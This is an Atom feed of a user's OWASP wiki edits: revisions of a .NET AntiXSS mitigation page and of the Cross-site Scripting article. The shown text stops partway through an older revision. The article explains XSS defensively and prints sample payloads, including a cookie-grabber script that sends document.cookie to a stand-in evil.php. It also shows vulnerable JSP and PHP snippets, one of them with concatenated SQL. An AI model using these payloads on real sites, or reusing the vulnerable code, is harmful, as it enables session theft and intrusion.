<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Jeff+Knutson</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Jeff+Knutson"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Jeff_Knutson"/>
		<updated>2026-05-28T19:04:13Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=173276</id>
		<title>.NET AntiXSS Library</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=173276"/>
				<updated>2014-04-23T04:18:30Z</updated>
		
		<summary type="html">&lt;p&gt;Jeff Knutson: Adding attribution to the XSS Cheatsheet link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''NOTE''': This content is a work in progress and all contribution is welcome.  Please contact [[User:Jeff Knutson|Jeff Knutson]] with questions, ideas, corrections, etc.&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
&lt;br /&gt;
Cross site scripting (XSS) continues to show up on the [[Category:OWASP_Top_Ten_Project|OWASP Top Ten Project]] as a top vulnerability every year.  While very pervasive and dangerous, this vulnerability is possible to mitigate with reasonable developer effort.  This page is dedicated to helping mitigate this vulnerability in regards to the Microsoft .NET Framework.&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
The primary XSS attack vectors are:&lt;br /&gt;
* Reflected XSS&lt;br /&gt;
* Persistent XSS  &lt;br /&gt;
Please see [[Cross-site_Scripting_(XSS)#Stored and Reflected XSS Attacks|Cross-site Scripting (XSS)]] for more detail regarding reflected and persistent XSS attacks.&lt;br /&gt;
    &lt;br /&gt;
== Options ==&lt;br /&gt;
*Microsoft AntiXSS Library&lt;br /&gt;
**Available in ASP.NET 4.5 in the System.Web.Security.AntiXss namespace&lt;br /&gt;
**Available prior to ASP.NET 4.5 via NuGet: (https://www.nuget.org/packages/AntiXSS/)  Install-Package AntiXSS (currently v4.2.1 as of 4/12/2014)&lt;br /&gt;
***Using Microsoft AntiXSS as the default encoder in ASP.NET instructions (Phil Haack has a good link on this already:  http://haacked.com/archive/2010/04/06/using-antixss-as-the-default-encoder-for-asp-net.aspx/)&lt;br /&gt;
*Microsoft Web Protection Library (WPL) - via http://wpl.codeplex.com/workitem/17246&lt;br /&gt;
**there seem to be known issues with this library: http://blog.securityps.com/2012/12/alternatives-to-microsofts-wpl-sanitizer.html&lt;br /&gt;
*OWASP Anti-Samy Library (https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET)&lt;br /&gt;
**Not recently maintained (good option for to get it up to date and relevant!!!)&lt;br /&gt;
&lt;br /&gt;
== XSS References ==&lt;br /&gt;
* https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)&lt;br /&gt;
* http://www.troyhunt.com/2010/05/owasp-top-10-for-net-developers-part-2.html&lt;br /&gt;
* http://www.troyhunt.com/2011/12/free-ebook-owasp-top-10-for-net.html&lt;br /&gt;
* http://pluralsight.com/training/Courses/TableOfContents/owasp-top10-aspdotnet-application-security-risks (NOTE: This is a subscription course from PluralSight - I am not advocating any website or product, but found this to be useful and informative)&lt;br /&gt;
* http://devproconnections.com/aspnet/microsoft-adds-antixss-tool-aspnet-45&lt;br /&gt;
* https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet&lt;br /&gt;
* [http://ha.ckers.org/xssAttacks.xml RSnake's XSS Cheatsheet] (in XML format; nice for programatic consumption!)&lt;br /&gt;
* TODO add more references here -- Troy Hunt's material is excellent - I'm sure more people in the world have content which would be valuable here to reference...&lt;br /&gt;
&lt;br /&gt;
== TODO ==&lt;br /&gt;
=== Now ===&lt;br /&gt;
* Look at the Microsoft implementations&lt;br /&gt;
* See what work has already been done in the OWASP space for XSS&lt;br /&gt;
* See what other work has been done for XSS (both .NET and other technology stacks)&lt;br /&gt;
* Illustrate vulnerabilities and how to mitigate them (e.g. WebGoat.NET) &lt;br /&gt;
* See if we can get the OWASP Anti-Samy project back into relevance&lt;br /&gt;
&lt;br /&gt;
=== Future ===&lt;br /&gt;
* Dream big here!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- categories --&amp;gt;&lt;br /&gt;
[[Category:OWASP_.NET_Project]]&lt;/div&gt;</summary>
		<author><name>Jeff Knutson</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=173275</id>
		<title>.NET AntiXSS Library</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=173275"/>
				<updated>2014-04-23T04:07:55Z</updated>
		
		<summary type="html">&lt;p&gt;Jeff Knutson: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''NOTE''': This content is a work in progress and all contribution is welcome.  Please contact [[User:Jeff Knutson|Jeff Knutson]] with questions, ideas, corrections, etc.&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
&lt;br /&gt;
Cross site scripting (XSS) continues to show up on the [[Category:OWASP_Top_Ten_Project|OWASP Top Ten Project]] as a top vulnerability every year.  While very pervasive and dangerous, this vulnerability is possible to mitigate with reasonable developer effort.  This page is dedicated to helping mitigate this vulnerability in regards to the Microsoft .NET Framework.&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
The primary XSS attack vectors are:&lt;br /&gt;
* Reflected XSS&lt;br /&gt;
* Persistent XSS  &lt;br /&gt;
Please see [[Cross-site_Scripting_(XSS)#Stored and Reflected XSS Attacks|Cross-site Scripting (XSS)]] for more detail regarding reflected and persistent XSS attacks.&lt;br /&gt;
    &lt;br /&gt;
== Options ==&lt;br /&gt;
*Microsoft AntiXSS Library&lt;br /&gt;
**Available in ASP.NET 4.5 in the System.Web.Security.AntiXss namespace&lt;br /&gt;
**Available prior to ASP.NET 4.5 via NuGet: (https://www.nuget.org/packages/AntiXSS/)  Install-Package AntiXSS (currently v4.2.1 as of 4/12/2014)&lt;br /&gt;
***Using Microsoft AntiXSS as the default encoder in ASP.NET instructions (Phil Haack has a good link on this already:  http://haacked.com/archive/2010/04/06/using-antixss-as-the-default-encoder-for-asp-net.aspx/)&lt;br /&gt;
*Microsoft Web Protection Library (WPL) - via http://wpl.codeplex.com/workitem/17246&lt;br /&gt;
**there seem to be known issues with this library: http://blog.securityps.com/2012/12/alternatives-to-microsofts-wpl-sanitizer.html&lt;br /&gt;
*OWASP Anti-Samy Library (https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET)&lt;br /&gt;
**Not recently maintained (good option for to get it up to date and relevant!!!)&lt;br /&gt;
&lt;br /&gt;
== XSS References ==&lt;br /&gt;
* https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)&lt;br /&gt;
* http://www.troyhunt.com/2010/05/owasp-top-10-for-net-developers-part-2.html&lt;br /&gt;
* http://www.troyhunt.com/2011/12/free-ebook-owasp-top-10-for-net.html&lt;br /&gt;
* http://pluralsight.com/training/Courses/TableOfContents/owasp-top10-aspdotnet-application-security-risks (NOTE: This is a subscription course from PluralSight - I am not advocating any website or product, but found this to be useful and informative)&lt;br /&gt;
* http://devproconnections.com/aspnet/microsoft-adds-antixss-tool-aspnet-45&lt;br /&gt;
* https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet&lt;br /&gt;
* XSS Cheatsheet (in XML format; nice for programatic consumption!) http://ha.ckers.org/xssAttacks.xml&lt;br /&gt;
* TODO add more references here -- Troy Hunt's material is excellent - I'm sure more people in the world have content which would be valuable here to reference...&lt;br /&gt;
&lt;br /&gt;
== TODO ==&lt;br /&gt;
=== Now ===&lt;br /&gt;
* Look at the Microsoft implementations&lt;br /&gt;
* See what work has already been done in the OWASP space for XSS&lt;br /&gt;
* See what other work has been done for XSS (both .NET and other technology stacks)&lt;br /&gt;
* Illustrate vulnerabilities and how to mitigate them (e.g. WebGoat.NET) &lt;br /&gt;
* See if we can get the OWASP Anti-Samy project back into relevance&lt;br /&gt;
&lt;br /&gt;
=== Future ===&lt;br /&gt;
* Dream big here!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- categories --&amp;gt;&lt;br /&gt;
[[Category:OWASP_.NET_Project]]&lt;/div&gt;</summary>
		<author><name>Jeff Knutson</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-site_Scripting_(XSS)&amp;diff=173274</id>
		<title>Cross-site Scripting (XSS)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-site_Scripting_(XSS)&amp;diff=173274"/>
				<updated>2014-04-23T04:07:49Z</updated>
		
		<summary type="html">&lt;p&gt;Jeff Knutson: Added anchor section for Stored and Reflected XSS Attacks to reference from .NET_AntiXSS_Library page&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{template: Attack}}&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
__NOTOC__&lt;br /&gt;
==Overview==&lt;br /&gt;
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.&lt;br /&gt;
&lt;br /&gt;
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page. For more details on the different types of XSS flaws, see: [[Types of Cross-Site Scripting]].&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===How to Avoid Cross-site scripting Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
See the [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Phishing|Phishing]].&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on [[Data Validation]].&lt;br /&gt;
&lt;br /&gt;
===How to Review Code for Cross-site scripting Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on [[Reviewing Code for Cross-site scripting]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Test for Cross-site scripting  Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the latest [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to test for the various kinds of XSS vulnerabilities.&lt;br /&gt;
* [[Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)]] &lt;br /&gt;
* [[Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)]] &lt;br /&gt;
* [[Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting (XSS) attacks occur when:&lt;br /&gt;
&lt;br /&gt;
# Data enters a Web application through an untrusted source, most frequently a web request. &lt;br /&gt;
# The data is included in dynamic content that is sent to a web user without being validated for malicious content. &lt;br /&gt;
&lt;br /&gt;
The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash, or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.&lt;br /&gt;
&lt;br /&gt;
===[[#Stored and Reflected XSS Attacks|Stored and Reflected XSS Attacks]]===&lt;br /&gt;
XSS attacks can generally be categorized into two categories: stored and reflected. There is a third, much less well known type of XSS attack called [[DOM Based XSS |DOM Based XSS]] that is discussed seperately [[DOM Based XSS |here]].&lt;br /&gt;
&lt;br /&gt;
====Stored XSS Attacks====&lt;br /&gt;
Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS.&lt;br /&gt;
&lt;br /&gt;
====Reflected XSS Attacks====&lt;br /&gt;
Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web site. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a &amp;quot;trusted&amp;quot; server.  Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS.&lt;br /&gt;
&lt;br /&gt;
===Other Types of XSS Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
In addition to Stored and Reflected XSS, another type of XSS, [[DOM Based XSS]] was identified by [http://www.webappsec.org/projects/articles/071105.shtml Amit Klein in 2005]. OWASP recommends the XSS categorization as described in the OWASP Article: [[Types of Cross-Site Scripting]], which covers all these XSS terms, organizing them into a matrix of Stored vs. Reflected XSS and Server vs. Client XSS, where DOM Based XSS is a subset of Client XSS.&lt;br /&gt;
&lt;br /&gt;
====XSS Attack Consequences====&lt;br /&gt;
The consequence of an XSS attack is the same regardless of whether it is stored or reflected ([[DOM Based XSS |or DOM Based]]). The difference is in how the payload arrives at the server. Do not be fooled into thinking that a “read only” or “brochureware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose. For more information on these types of attacks see [[Content_Spoofing]].&lt;br /&gt;
&lt;br /&gt;
===How to Determine If You Are Vulnerable===&lt;br /&gt;
XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.&lt;br /&gt;
&lt;br /&gt;
===How to Protect Yourself===&lt;br /&gt;
The primary defenses against XSS are described in the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet |OWASP XSS Prevention Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
Also, it's crucial that you turn off HTTP TRACE support on all webservers. An attacker can steal cookie data via Javascript even when document.cookie is disabled or not supported on the client. This attack is mounted when a user posts a malicious script to a forum so when another user clicks the link, an asynchronous HTTP Trace call is triggered which collects the user's cookie information from the server, and then sends it over to another malicious server that collects the cookie information so the attacker can mount a session hijack attack. This is easily mitigated by removing support for HTTP TRACE on all webservers.&lt;br /&gt;
&lt;br /&gt;
The [[ESAPI |OWASP ESAPI project]] has produced a set of reusable security components in several languages, including validation and escaping routines to prevent parameter tampering and the injection of XSS attacks. In addition, the [[:Category:OWASP WebGoat Project|OWASP WebGoat Project]] training application has lessons on Cross-Site Scripting and data encoding.&lt;br /&gt;
&lt;br /&gt;
===Alternate XSS Syntax===&lt;br /&gt;
====XSS using Script in Attributes====&lt;br /&gt;
&lt;br /&gt;
XSS attacks may be conducted without using &amp;lt;script&amp;gt;&amp;lt;/script&amp;gt; tags.&lt;br /&gt;
Other tags will do exactly the same thing, for example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;body onload=alert('test1')&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
or other attributes like: onmouseover, onerror.&lt;br /&gt;
&lt;br /&gt;
onmouseover&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;b onmouseover=alert('Wufff!')&amp;gt;click me!&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;/prE&amp;gt;&lt;br /&gt;
onerror&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;img src=&amp;quot;http://url.to.file.which/not.exist&amp;quot; onerror=alert(document.cookie);&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====XSS using Script Via Encoded URI Schemes====&lt;br /&gt;
&lt;br /&gt;
If we need to hide against web application filters we may try to encode string characters, e.g.: a=&amp;amp;#X41 (UTF-8) and use it in&lt;br /&gt;
IMG tag:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;IMG SRC=j&amp;amp;#X41vascript:alert('test2')&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
There are many different UTF-8 encoding notations what give us even more possibilities.&lt;br /&gt;
&lt;br /&gt;
====XSS using code encoding====&lt;br /&gt;
&lt;br /&gt;
We may encode our script in base64 and place it in META tag. This way we get rid of alert() totally. More information about this method can be found in RFC 2397&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;META HTTP-EQUIV=&amp;quot;refresh&amp;quot;&lt;br /&gt;
CONTENT=&amp;quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
These and others examples can be found at the OWASP [[XSS Filter Evasion Cheat Sheet]] which is a true encyclopedia of the alternate XSS syntax attack.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Risk Factors==&lt;br /&gt;
TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Examples ==&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users.&lt;br /&gt;
&lt;br /&gt;
The most common example can be found in bulletin-board web sites which provide web based mailing list-style functionality. &lt;br /&gt;
&lt;br /&gt;
===Example 1=== &lt;br /&gt;
&lt;br /&gt;
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	&amp;lt;% String eid = request.getParameter(&amp;quot;eid&amp;quot;); %&amp;gt; &lt;br /&gt;
	...&lt;br /&gt;
	Employee ID: &amp;lt;%= eid %&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.&lt;br /&gt;
&lt;br /&gt;
Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
	&amp;lt;%... &lt;br /&gt;
	 Statement stmt = conn.createStatement();&lt;br /&gt;
	 ResultSet rs = stmt.executeQuery(&amp;quot;select * from emp where id=&amp;quot;+eid);&lt;br /&gt;
	 if (rs != null) {&lt;br /&gt;
	  rs.next(); &lt;br /&gt;
	  String name = rs.getString(&amp;quot;name&amp;quot;);&lt;br /&gt;
	%&amp;gt;&lt;br /&gt;
	&lt;br /&gt;
	Employee Name: &amp;lt;%= name %&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that offered a &amp;quot;guestbook&amp;quot; to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.&lt;br /&gt;
&lt;br /&gt;
As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:&lt;br /&gt;
&lt;br /&gt;
* As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities. &lt;br /&gt;
* As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. &lt;br /&gt;
* A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content. &lt;br /&gt;
&lt;br /&gt;
=== Attack Examples ===&lt;br /&gt;
&lt;br /&gt;
'''Example 1 : Cookie Grabber'''&lt;br /&gt;
&lt;br /&gt;
If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT type=&amp;quot;text/javascript&amp;quot;&amp;gt;&lt;br /&gt;
var adr = '../evil.php?cakemonster=' + escape(document.cookie);&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in &amp;quot;cakemonster&amp;quot; variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.&lt;br /&gt;
&lt;br /&gt;
===Error Page Example===&lt;br /&gt;
&lt;br /&gt;
Let's assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error&lt;br /&gt;
page. We may use the code below as an example to inform user about what specific page is missing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;? php&lt;br /&gt;
print &amp;quot;Not found: &amp;quot; . urldecode($_SERVER[&amp;quot;REQUEST_URI&amp;quot;]);&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Let's see how it works:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://testsite.test/file_which_not_exist&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In response we get:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Not found: /file_which_not_exist&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now we will try to force the error page to include our code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://testsite.test/&amp;lt;script&amp;gt;alert(&amp;quot;TEST&amp;quot;);&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The result is:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Not found: / (but with JavaScript code &amp;lt;script&amp;gt;alert(&amp;quot;TEST&amp;quot;);&amp;lt;/script&amp;gt;)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
We have successfully injected the code, our XSS! What does it mean? For example, that we&lt;br /&gt;
may use this flaw to try to steal a user's session cookie.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Related [[Threat Agents]]==&lt;br /&gt;
* TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[XSS Attacks]]&lt;br /&gt;
* [[:Category:Injection Attack]]&lt;br /&gt;
* [[Invoking untrusted mobile code]]&lt;br /&gt;
* [[Cross Site History Manipulation (XSHM)]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
* [[Cross Site Scripting Flaw]]&lt;br /&gt;
* [[Types of Cross-Site Scripting]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
* [[HTML Entity Encoding]]&lt;br /&gt;
* [[Output Validation]]&lt;br /&gt;
* [[Canonicalization]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* OWASP's [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [[Data_Validation|Data Validation]]&lt;br /&gt;
* OWASP Testing Guide, [[Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)]] &lt;br /&gt;
* OWASP Testing Guide, [[Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)]] &lt;br /&gt;
* OWASP Testing Guide, [[Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)]]&lt;br /&gt;
* OWASP's [[How_to_Build_an_HTTP_Request_Validation_Engine_for_Your_J2EE_Application|How to Build an HTTP Request Validation Engine (J2EE validation using OWASP's Stinger)]] &lt;br /&gt;
* Google Code Best Practice Guide: http://code.google.com/p/doctype/wiki/ArticlesXSS&lt;br /&gt;
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml &lt;br /&gt;
* OWASP [[XSS Filter Evasion Cheat Sheet]]&lt;br /&gt;
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html &lt;br /&gt;
* CERT “Understanding Malicious Content Mitigation” http://www.cert.org/tech_tips/malicious_code_mitigation.html &lt;br /&gt;
* Understanding the cause and effect of CSS Vulnerabilities: http://www.technicalinfo.net/papers/CSS.html &lt;br /&gt;
* XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites http://www.xssed.com&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:OWASP Top Ten Project]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Code Snippet]]&lt;br /&gt;
[[Category:Security Focus Area]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
[[Category:Popular]]&lt;/div&gt;</summary>
		<author><name>Jeff Knutson</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=173273</id>
		<title>.NET AntiXSS Library</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=.NET_AntiXSS_Library&amp;diff=173273"/>
				<updated>2014-04-23T03:45:47Z</updated>
		
		<summary type="html">&lt;p&gt;Jeff Knutson: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''NOTE''': This content is a work in progress and all contribution is welcome.  Please contact [[User:Jeff Knutson|Jeff Knutson]] with questions, ideas, corrections, etc.&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
&lt;br /&gt;
Cross site scripting (XSS) continues to show up on the [[Category:OWASP_Top_Ten_Project|OWASP Top Ten Project]] as a top vulnerability every year.  While very pervasive and dangerous, this vulnerability is possible to mitigate with reasonable developer effort.  This page is dedicated to helping mitigate this vulnerability in regards to the Microsoft .NET Framework.&lt;br /&gt;
&lt;br /&gt;
== Challenges ==&lt;br /&gt;
&lt;br /&gt;
The primary XSS attack vectors are:&lt;br /&gt;
